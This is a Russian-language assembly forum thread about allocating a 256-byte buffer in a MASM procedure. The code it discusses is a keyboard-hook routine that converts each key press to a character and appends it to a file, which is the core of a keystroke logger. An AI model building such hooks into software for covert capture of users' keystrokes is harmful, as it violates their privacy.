Выделение памяти в процедурах masm

Тема в разделе "WASM.BEGINNERS", создана пользователем gh05t, 17 июл 2008.

  1. gh05t

    gh05t New Member

    Публикаций:
    0
    Регистрация:
    17 июл 2008
    Сообщения:
    34
    Здравствуйте.
    Вопрос - как выделить область памяти в 256 байт в процедуре, наподобие локальной переменной, вроде:
    LOCAL hFile:HANDLE
    LOCAL nBytes:UINT
    и тд. Пробовал делать иначе, используя VirtualAlloc, но он выделял память в области 00850000 и нужная WinAPI функция не могла прочитать оттуда данные, хотя запись проходила нормально. Пример вызова VirtualAlloc:
    invoke VirtualAlloc, NULL, 256, MEM_COMMIT, PAGE_READWRITE
    Заранее спасибо.
     
  2. Booster

    Booster New Member

    Публикаций:
    0
    Регистрация:
    26 ноя 2004
    Сообщения:
    4.860
    Попробуй - MEM_PESERVE or MEM_COMMIT
    Что за функция не могла?
     
  3. gh05t

    gh05t New Member

    Публикаций:
    0
    Регистрация:
    17 июл 2008
    Сообщения:
    34
    Сначала GetKeyboardState нормально записывала (результат ненулевой), а ToAscii не могла прочитать (ошибка ERROR_NOACCESS).

    Не помогло, все аналогично. А только с MEM_RESERVE и GetKeyboardState возвращает ошибку.
     
  4. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    VirtualAlloc для 256 байт это из пушки по воробъям. Юзай HeapAlloc или GlobalAlloc с флагом GMEM_FIXED
    PS: Ошибка скорее всего не в выделении памяти, а в неверном вызове ToAscii
     
  5. DEEP

    DEEP Андрей

    Публикаций:
    0
    Регистрация:
    27 апр 2008
    Сообщения:
    491
    Адрес:
    г. Владимир
    А может, просто выделить под это дело часть стэка вместо хипа? Опять же вызывать всякие Alloc'и не надо...
     
  6. gh05t

    gh05t New Member

    Публикаций:
    0
    Регистрация:
    17 июл 2008
    Сообщения:
    34
    При использовании GlobalAlloc память выделяется по другому адресу, но результат один и тот же. Вот код вызова ToAscii:

    Код (Text):
    1. HookProc proc iCode:UINT, wParam:WPARAM, lParam:LPARAM
    2.  
    3. LOCAL hFile:HANDLE
    4. LOCAL nBytes:UINT  ;количество записанных байт
    5. LOCAL lpvKeyBoard:DWORD
    6. LOCAL char:BYTE
    7. LOCAL nScanCode:WORD
    8.  
    9. mov eax, lParam ;проверка, что клавиша нажимается
    10. shr eax, 1Fh
    11. .IF eax!= 0
    12. jmp release
    13. .ENDIF
    14.  
    15. mov eax, lParam ;вычисление скан-кода
    16. shr eax, 10h
    17. and ax, 00FFh
    18. mov nScanCode, ax
    19.  
    20. invoke GlobalAlloc, GMEM_FIXED, 256 ;выделение памяти
    21. mov lpvKeyBoard, eax
    22.  
    23. invoke GetKeyboardState, lpvKeyBoard
    24. invoke ToAscii, wParam, nScanCode, lpvKeyBoard, addr char, NULL
    25.  
    26. ;вот еще вопрос - если убрать все, что связано с ToAscii, работа с файлом проходит на ура,
    27. ;в противном случае CreateFile возвращает FFFFFFFF и запись невозможна
    28.  
    29. invoke CreateFile, addr FileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    30. mov hFile, eax
    31. invoke SetFilePointer, hFile, 0, NULL, FILE_END
    32. invoke WriteFile, hFile, char, 1, addr nBytes, NULL
    33. invoke CloseHandle, hFile
    34.  
    35. invoke GlobalFree, lpvKeyBoard
    36.  
    37. release:
    38. ret
    39. HookProc endp
    2DEEP
    Какой функцией?
     
  7. DEEP

    DEEP Андрей

    Публикаций:
    0
    Регистрация:
    27 апр 2008
    Сообщения:
    491
    Адрес:
    г. Владимир
    SUB ESP, 256;
    MOV lpvKeyboard, ESP;

    правда, это не функция, а опкоды, ну да так даж лучше ;)

    ++ только есть ограничения. Запись должна происходить очень точно. Иначе порушится вся прога, если в стэк запишется больше хоть на один байт.
    И ещё: стэк естессно нужно после работы освобождать. Как это делать вам наверняка уже понятно.
     
  8. 2FED

    2FED New Member

    Публикаций:
    0
    Регистрация:
    20 фев 2008
    Сообщения:
    1.002
    LOCAL nBytes[256]:BYTE
     
  9. 2FED

    2FED New Member

    Публикаций:
    0
    Регистрация:
    20 фев 2008
    Сообщения:
    1.002
    leo А почему так, почему нерекомендуется выделять маленький обьём с помошью VirtualAlloc?
     
  10. gh05t

    gh05t New Member

    Публикаций:
    0
    Регистрация:
    17 июл 2008
    Сообщения:
    34
    2DEEP
    Спасибо, так гораздо удобнее :)

    Проблему решил. Состояла в том, что размер nScanCode был один байт вместо положенных двух. Изменил тип на DWORD, все заработало
     
  11. 2FED

    2FED New Member

    Публикаций:
    0
    Регистрация:
    20 фев 2008
    Сообщения:
    1.002
    DWORD это 4 байта =)
     
  12. gh05t

    gh05t New Member

    Публикаций:
    0
    Регистрация:
    17 июл 2008
    Сообщения:
    34
    2FED
    Да? Блин, точно! :)
     
  13. DEEP

    DEEP Андрей

    Публикаций:
    0
    Регистрация:
    27 апр 2008
    Сообщения:
    491
    Адрес:
    г. Владимир
    2FED
    Та не, дело в том, что если размер равен WORD, в стэк при вызове запишется не 4 байта как по регламенту для каждого из параметров, а всего два. И в итоге за "верхние" два будут считаться "нижние" у другого парама. Такая вот петрушка...
     
  14. 2FED

    2FED New Member

    Публикаций:
    0
    Регистрация:
    20 фев 2008
    Сообщения:
    1.002
    в стек можно заганять word, это к стате самое маленькое значение которое принимает push, тоесть byte уже нельзя
     
  15. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    Потому, что VirtualAlloc 1) резервирует как минимум 64К адресного пространства и выделяет 4К физ.памяти, 2) съедает по несколько тысяч тактов при первом обращении к каждой 4К странице (обработка отказов страниц). Heap\GlobalAlloc выделяют память из кучи, т.е. из заранее выделенных страниц памяти, и т.к. эти страницы используются многократно для хранения разных переменных, то отказов страниц при выделении малых объемов данных нет и в результате и физ.память расходуется экономнее и выделяется значительно быстрее, чем при VirtualAlloc
     
  16. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    enter 256,0

    ... ebp

    leave
     
  17. 2FED

    2FED New Member

    Публикаций:
    0
    Регистрация:
    20 фев 2008
    Сообщения:
    1.002
    enter не самая удачная команда